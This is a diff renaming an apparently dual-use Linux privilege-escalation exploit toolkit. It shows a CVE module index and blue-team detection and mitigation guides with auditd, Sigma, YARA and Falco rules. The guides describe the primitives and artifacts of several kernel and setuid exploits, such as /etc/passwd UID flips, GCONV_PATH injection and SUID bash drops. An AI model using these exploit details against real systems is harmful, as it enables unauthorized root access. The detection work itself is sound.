+    "module_dir": "fuse_legacy_cve_2022_0185",
+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2024-08-21"
+  },
+  {
+    "cve": "CVE-2022-0492",
+    "module_dir": "cgroup_release_agent_cve_2022_0492",
+    "cwe": "CWE-287",
+    "attack_technique": "T1611",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2022-0847",
+    "module_dir": "dirty_pipe_cve_2022_0847",
+    "cwe": "CWE-665",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-04-25"
+  },
+  {
+    "cve": "CVE-2022-25636",
+    "module_dir": "nft_fwd_dup_cve_2022_25636",
+    "cwe": "CWE-269",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2022-2588",
+    "module_dir": "cls_route4_cve_2022_2588",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-0179",
+    "module_dir": "nft_payload_cve_2023_0179",
+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-0386",
+    "module_dir": "overlayfs_setuid_cve_2023_0386",
+    "cwe": "CWE-282",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2025-06-17"
+  },
+  {
+    "cve": "CVE-2023-0458",
+    "module_dir": "entrybleed_cve_2023_0458",
+    "cwe": "CWE-476",
+    "attack_technique": "T1082",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-2008",
+    "module_dir": "vmwgfx_cve_2023_2008",
+    "cwe": "CWE-129",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-22809",
+    "module_dir": "sudoedit_editor_cve_2023_22809",
+    "cwe": "CWE-269",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-32233",
+    "module_dir": "nft_set_uaf_cve_2023_32233",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-3269",
+    "module_dir": "stackrot_cve_2023_3269",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-4622",
+    "module_dir": "af_unix_gc_cve_2023_4622",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2024-1086",
+    "module_dir": "nf_tables_cve_2024_1086",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2024-05-30"
+  },
+  {
+    "cve": "CVE-2026-31635",
+    "module_dir": "dirtydecrypt_cve_2026_31635",
+    "cwe": "CWE-130",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-41651",
+    "module_dir": "pack2theroot_cve_2026_41651",
+    "cwe": "CWE-367",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-46300",
+    "module_dir": "fragnesia_cve_2026_46300",
+    "cwe": null,
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  }
+]

docs/DEFENDERS.md

@@ -1,25 +1,25 @@
-# IAMROOT for defenders
+# SKELETONKEY for defenders
 
-IAMROOT is dual-use: the same binary that runs exploits also ships the
+SKELETONKEY is dual-use: the same binary that runs exploits also ships the
 detection rules to spot them. This document is for the blue team.
 
 ## TL;DR
 
 ```bash
 # 1. Detect what you're vulnerable to (no system modification)
-sudo iamroot --scan --json | jq .
+sudo skeletonkey --scan --json | jq .
 
 # 2. Deploy detection rules covering every bundled CVE
-sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
+sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo systemctl restart auditd
 
 # 3. (Optional) Apply pre-patch mitigations for vulnerable families
-sudo iamroot --mitigate copy_fail   # or whatever module reports VULNERABLE
+sudo skeletonkey --mitigate copy_fail   # or whatever module reports VULNERABLE
 
 # 4. Watch
-sudo ausearch -k iamroot-copy-fail -ts recent
-sudo ausearch -k iamroot-dirty-pipe -ts recent
-sudo ausearch -k iamroot-pwnkit -ts recent
+sudo ausearch -k skeletonkey-copy-fail -ts recent
+sudo ausearch -k skeletonkey-dirty-pipe -ts recent
+sudo ausearch -k skeletonkey-pwnkit -ts recent
 ```
 
 ## Why a single tool for offense and defense
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
 Public LPE PoCs ship without detection rules. Public detection rules
 ship without test corpora. The gap means defenders deploy rules they
 never validate against a real exploit, and attackers iterate against
-defenders who haven't tuned thresholds. IAMROOT closes that loop:
+defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
 
 - Each module ships an exploit AND the detection rules that catch it.
 - Every CVE in `CVES.md` has a row in the rule corpus.
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
 ### Inventory what's bundled
 
 ```bash
-iamroot --list
+skeletonkey --list
 ```
 
 Prints every registered module with CVE, family, and one-line summary.
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
 ### Run all detectors
 
 ```bash
-iamroot --scan                          # human-readable
-iamroot --scan --json                   # one JSON object → SIEM ingest
-iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
+skeletonkey --scan                          # human-readable
+skeletonkey --scan --json                   # one JSON object → SIEM ingest
+skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
 ```
 
 Result codes per module:
@@ -63,23 +63,23 @@ Result codes per module:
 | `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
 | `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
 
-`iamroot --scan` returns the WORST result code across all modules.
+`skeletonkey --scan` returns the WORST result code across all modules.
 Use this in CI to fail builds that produce vulnerable images.
 
 ### Deploy detection rules
 
 ```bash
 # auditd (most environments)
-sudo iamroot --detect-rules --format=auditd \
-  | sudo tee /etc/audit/rules.d/99-iamroot.rules
+sudo skeletonkey --detect-rules --format=auditd \
+  | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo augenrules --load     # or systemctl restart auditd
 
 # Sigma (for SIEMs that ingest sigma)
-iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
+skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
 
 # YARA / Falco — placeholders for future modules; currently empty
-iamroot --detect-rules --format=yara
-iamroot --detect-rules --format=falco
+skeletonkey --detect-rules --format=yara
+skeletonkey --detect-rules --format=falco
 ```
 
 Rules are emitted in registry order, deduplicated by string-pointer:
@@ -91,19 +91,19 @@ auditd config).
 
 | Key | Modules | What it catches |
 |---|---|---|
-| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
-| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
-| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
-| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
-| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
-| `iamroot-pwnkit` | pwnkit | pkexec watch |
-| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
+| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
+| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
+| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
+| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
+| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
+| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
+| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
 
 Search:
 
 ```bash
-sudo ausearch -k iamroot-copy-fail -ts today
-sudo ausearch -k iamroot-pwnkit -ts today
+sudo ausearch -k skeletonkey-copy-fail -ts today
+sudo ausearch -k skeletonkey-pwnkit -ts today
 ```
 
 ### Mitigate (pre-patch)
@@ -114,10 +114,10 @@ distro-portable workarounds:
 ```bash
 # Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
 # sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
-sudo iamroot --mitigate copy_fail
+sudo skeletonkey --mitigate copy_fail
 
 # Revert mitigation (e.g., before applying the real kernel patch)
-sudo iamroot --cleanup copy_fail
+sudo skeletonkey --cleanup copy_fail
 ```
 
 Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
 ```bash
 # scan a host list via ssh
 for h in $(cat fleet.txt); do
-  ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
+  ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
 done | jq -s . > fleet-scan-$(date +%F).json
 
 # group by vulnerability
@@ -148,9 +148,9 @@ modification.
 
 | Rule | False-positive shape |
 |---|---|
-| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
-| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
-| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
+| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
+| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
+| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
 
 The shipped rules are starting points. Tune per environment.
 

docs/DETECTION_PLAYBOOK.md

@@ -1,6 +1,6 @@
-# IAMROOT detection playbook
+# SKELETONKEY detection playbook
 
-Operational guide for blue teams using IAMROOT defensively. Pairs
+Operational guide for blue teams using SKELETONKEY defensively. Pairs
 with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
 make it part of your daily ops" guide.
 
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
 
 ```
               ┌─────────────┐
-              │  inventory  │  ← iamroot --list (what's bundled?)
+              │  inventory  │  ← skeletonkey --list (what's bundled?)
               └──────┬──────┘
                      ▼
               ┌─────────────┐
-              │    scan     │  ← iamroot --scan --json (what am I vulnerable to?)
+              │    scan     │  ← skeletonkey --scan --json (what am I vulnerable to?)
               └──────┬──────┘
                      ▼
               ┌─────────────┐
-              │  fleet scan │  ← iamroot-fleet-scan.sh hosts.txt
+              │  fleet scan │  ← skeletonkey-fleet-scan.sh hosts.txt
               └──────┬──────┘
                      ▼
         ┌────────────┼────────────┐
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
         └────────────┼────────────┘
                      ▼
               ┌─────────────┐
-              │   monitor   │  ← ausearch -k iamroot-* / SIEM alerts
+              │   monitor   │  ← ausearch -k skeletonkey-* / SIEM alerts
               └─────────────┘
 ```
 
@@ -39,17 +39,28 @@ make it part of your daily ops" guide.
 
 ```bash
 # Daily/weekly hygiene check
-sudo iamroot --scan
+sudo skeletonkey --scan
+
+# Investigate a specific finding (one-page operator briefing)
+sudo skeletonkey --explain nf_tables    # whichever module came back VULNERABLE
+# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
+# OPSEC footprint (what an exploit would leave behind), detection-rule
+# coverage, mitigation. Paste into the triage ticket.
 
 # If anything's VULNERABLE, deploy detections + apply mitigation
-sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
+sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo augenrules --load
-sudo iamroot --mitigate copy_fail   # or whichever module fired
+sudo skeletonkey --mitigate copy_fail   # or whichever module fired
 ```
 
+The `--explain` output is also useful as a learning artifact: each
+module's `--explain` block is a self-contained CVE briefing with the
+reasoning chain the detect() function walked, so analysts can verify
+SKELETONKEY's verdict against their own understanding of the bug.
+
 ### Small fleet (~10-100 hosts, SSH-reachable)
 
-Use `tools/iamroot-fleet-scan.sh`:
+Use `tools/skeletonkey-fleet-scan.sh`:
 
 ```bash
 # Hosts list — one per line; user@host:port supported
@@ -61,8 +72,8 @@ ops@db-01:2222
 EOF
 
 # Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
-./iamroot-fleet-scan.sh \
-    --binary ./iamroot \
+./skeletonkey-fleet-scan.sh \
+    --binary ./skeletonkey \
     --ssh-key ~/.ssh/ops_key \
     --parallel 8 \
     hosts.txt > fleet-scan-$(date +%F).json
@@ -95,7 +106,7 @@ Output shape:
 
 ### Larger fleet (>100 hosts)
 
-`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
+`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
 fleets too large for SSH-fan-out, wrap it in your config-management
 tool of choice:
 
@@ -108,22 +119,22 @@ tool of choice:
 Sample Ansible task:
 
 ```yaml
-- name: scan with iamroot
+- name: scan with skeletonkey
   copy:
-    src: iamroot
-    dest: /tmp/iamroot
+    src: skeletonkey
+    dest: /tmp/skeletonkey
     mode: '0755'
 - name: run --scan --json
-  command: /tmp/iamroot --scan --json --no-color
+  command: /tmp/skeletonkey --scan --json --no-color
   register: scan
   changed_when: false
-  failed_when: false        # iamroot exit codes are semantic, not errors
+  failed_when: false        # skeletonkey exit codes are semantic, not errors
 - name: collect
   set_fact:
-    iamroot_scan: "{{ scan.stdout | from_json }}"
+    skeletonkey_scan: "{{ scan.stdout | from_json }}"
 - name: cleanup
   file:
-    path: /tmp/iamroot
+    path: /tmp/skeletonkey
     state: absent
 ```
 
@@ -133,46 +144,110 @@ Sample Ansible task:
 
 ```
 # splunk input config (inputs.conf)
-[script:///opt/iamroot/iamroot-cron-scan.sh]
+[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
 interval = 86400
-source = iamroot
-sourcetype = iamroot:scan
+source = skeletonkey
+sourcetype = skeletonkey:scan
 ```
 
-`iamroot-cron-scan.sh`:
+`skeletonkey-cron-scan.sh`:
 
 ```bash
 #!/bin/bash
-/usr/local/bin/iamroot --scan --json --no-color
+/usr/local/bin/skeletonkey --scan --json --no-color
 ```
 
 Search the indexed events:
 
 ```spl
-index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
+index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
 | stats count by host modules{}.cve
 ```
 
 ### Elastic / OpenSearch
 
 Filebeat module reading the per-host scan JSON files (one per day),
-indexed into an `iamroot-*` index pattern. Standard Kibana
+indexed into an `skeletonkey-*` index pattern. Standard Kibana
 visualization on `modules.cve` over time tracks vulnerability lifecycle.
 
 ### Sigma → your platform
 
 ```bash
 # Ship Sigma rules into your platform
-iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
+skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
 # Convert to your target (Sentinel, Elastic, etc.) via sigmac
-sigmac -t elastic /etc/sigma/iamroot.yml
+sigmac -t elastic /etc/sigma/skeletonkey.yml
 ```
 
+### YARA artifact scanning
+
+YARA rules catch the **post-fire** state — page-cache shellcode
+overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
+as a scheduled scan against sensitive paths:
+
+```bash
+# Ship YARA rules
+sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
+
+# Scheduled scan via cron — catches the page-cache and /tmp artifacts
+# /etc/cron.d/skeletonkey-yara
+*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
+                       /etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
+                       2>>/var/log/skeletonkey-yara.log
+```
+
+What each rule catches:
+
+| Rule | Triggers on |
+|---|---|
+| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
+| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
+| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
+| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
+| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
+| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
+| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
+| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
+
+The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
+`fragnesia_payload_overlay`) are particularly high-signal: no
+legitimate ELF starts with those exact 28 bytes, so a hit means the
+exploit landed.
+
+### Falco runtime detection
+
+Falco catches the exploit **as it fires** by hooking syscalls and
+namespace events. Best deploy for K8s / container hosts but works on
+any modern Linux:
+
+```bash
+sudo skeletonkey --detect-rules --format=falco \
+    | sudo tee /etc/falco/rules.d/skeletonkey.yaml
+sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
+sudo systemctl reload falco   # or restart, depending on distro
+```
+
+What each rule catches:
+
+| Rule | Triggers on |
+|---|---|
+| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
+| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
+| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
+| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
+| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
+| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
+| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
+| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
+| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
+| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
+| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
+
 ## Day-to-day operational shape
 
 ### What "good" looks like in the SIEM
 
-- Daily `iamroot --scan --json` from every host indexed
+- Daily `skeletonkey --scan --json` from every host indexed
 - Trend dashboard: count of VULNERABLE results by CVE over time
 - Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
   patched-mainline bugs, 24h for actively-exploited)
@@ -181,22 +256,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
 
 ### Auditd events from the embedded rules
 
-After deploying `iamroot --detect-rules --format=auditd`:
+After deploying `skeletonkey --detect-rules --format=auditd`:
 
 ```bash
 # By module key
-sudo ausearch -k iamroot-copy-fail -ts today
-sudo ausearch -k iamroot-dirty-pipe -ts today
-sudo ausearch -k iamroot-pwnkit -ts today
-sudo ausearch -k iamroot-nf-tables-userns -ts today
-sudo ausearch -k iamroot-overlayfs -ts today
+sudo ausearch -k skeletonkey-copy-fail -ts today
+sudo ausearch -k skeletonkey-dirty-pipe -ts today
+sudo ausearch -k skeletonkey-pwnkit -ts today
+sudo ausearch -k skeletonkey-nf-tables-userns -ts today
+sudo ausearch -k skeletonkey-overlayfs -ts today
 
-# Anything iamroot-tagged in the last hour
-sudo ausearch -k 'iamroot-*' -ts recent
+# Anything skeletonkey-tagged in the last hour
+sudo ausearch -k 'skeletonkey-*' -ts recent
 
 # Forward to syslog (rsyslog example)
-# /etc/rsyslog.d/iamroot.conf:
-:msg, contains, "iamroot-" @@your-siem.example.com:514
+# /etc/rsyslog.d/skeletonkey.conf:
+:msg, contains, "skeletonkey-" @@your-siem.example.com:514
 ```
 
 ### When a VULNERABLE result fires
@@ -208,11 +283,11 @@ A scan reports VULNERABLE for module X
 │
 ├── Q: Can I patch the underlying kernel / package?
 │   ├── YES → schedule patch window. In the meantime:
-│   │        iamroot --mitigate X (if supported)
+│   │        skeletonkey --mitigate X (if supported)
 │   │        Verify auditd rule for X is loaded.
 │   │        Monitor for the rule key.
 │   └── NO (legacy LTS, embedded device, prod freeze) →
-│            iamroot --mitigate X (essential)
+│            skeletonkey --mitigate X (essential)
 │            Compensating control: tighten LSM (SELinux/AppArmor)
 │            Document in risk register
 │
@@ -238,22 +313,112 @@ If you applied a mitigation and now need to revert (e.g., the kernel
 patch has rolled out fleet-wide):
 
 ```bash
-sudo iamroot --cleanup copy_fail
+sudo skeletonkey --cleanup copy_fail
 # OR manually:
 sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
 sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
 # Reload affected modules / sysctls per your distro
 ```
 
+## Per-module detection coverage
+
+Across the 4 rule formats:
+
+| Module | CVE | auditd | sigma | yara | falco |
+|---|---|:-:|:-:|:-:|:-:|
+| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
+| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
+| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
+| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
+| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
+| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
+| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
+| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
+| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
+| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
+| Other 21 modules | various | ✓ | partial | — | — |
+
+Full 4-format coverage on the 10 highest-value modules; auditd
+covers everything. YARA / Falco expansion to the remaining 21 modules
+is incremental contributor work (each module's `detect_yara` /
+`detect_falco` field in the module struct just needs a string).
+
+## Correlation across formats
+
+Single-format detections are useful; the high-confidence signal is
+the **correlation across formats** for the same module in a short
+window. Each exploit leaves a recognisable multi-format trail:
+
+| Exploit | falco fires | auditd fires | yara confirms |
+|---|---|---|---|
+| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
+| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
+| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
+| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
+| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
+| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
+| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
+
+If **three of the four signals** fire for the same module in the same
+window, the exploit landed. **One signal alone** in a noisy
+environment is more likely a tuning FP; **three signals** is incident
+response.
+
+## Worked example: catching DirtyDecrypt end-to-end
+
+A SOC operator gets a Falco page:
+
+```
+CRITICAL  AF_RXRPC socket() by non-root  (user=alice proc=poc pid=44231)
+```
+
+1. **Confirm via auditd** — pull events keyed on the family:
+   ```bash
+   sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
+   ```
+   Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
+
+2. **Confirm via yara** — scan setuid binaries for the page-cache
+   overlay:
+   ```bash
+   yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
+   ```
+   If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
+   exploit landed** — the binary's page cache has been overwritten
+   with the 120-byte shellcode.
+
+3. **Recover** — the on-disk binary is intact; only the page cache is
+   corrupted. Drop it:
+   ```bash
+   sudo skeletonkey --cleanup dirtydecrypt   # or: echo 3 > /proc/sys/vm/drop_caches
+   ```
+
+4. **Sigma hunt for lateral / repeat** — query your SIEM with the
+   sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
+   days to find any other hosts.
+
+5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
+   Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
+
+6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
+   ```bash
+   echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
+   sudo update-initramfs -u
+   ```
+
+The same shape applies to every module: pick the auditd key, the
+yara rule for the artifact, the falco rule for the runtime signal,
+and the sigma rule for the hunt.
+
 ## Common false positives + tuning
 
 | Rule key | False positive | Fix |
 |---|---|---|
-| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
-| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
-| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
-| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
-| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
+| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
+| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
+| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
+| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
+| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
 
 ## Pre-patch quarantine pattern
 
@@ -261,13 +426,13 @@ If a CVE is in active exploitation and you can't patch immediately:
 
 ```bash
 # Stage 1: detect
-sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
+sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
 
 # Stage 2: mitigate (where supported)
-sudo iamroot --mitigate <module>
+sudo skeletonkey --mitigate <module>
 
 # Stage 3: monitor — auditd rules already deployed
-sudo ausearch -k 'iamroot-*' -ts today | grep <module>
+sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
 
 # Stage 4: contain — temporarily restrict the trigger surface
 # e.g., for nf_tables CVE-2024-1086:
@@ -281,7 +446,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
 
 ## Maintenance contract
 
-When IAMROOT ships a new module:
+When SKELETONKEY ships a new module:
 
 1. CI test passes on at least one vulnerable + patched kernel pair
 2. Detection rules ship alongside (auditd + sigma minimum)
@@ -293,7 +458,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
 
 ## When you find a new false positive
 
-File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
+File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
 - The exact ausearch line that fired
 - The legitimate process that produced it
 - Distro / kernel version

docs/ETHICS.md

@@ -2,24 +2,24 @@
 
 ## Acceptable use
 
-IAMROOT is intended for:
+SKELETONKEY is intended for:
 
 1. **Authorized red-team / pentest engagements.** You have a written
    scope, signed by someone who can authorize testing on the target
    systems.
 2. **Defensive teams testing detection coverage.** You're using
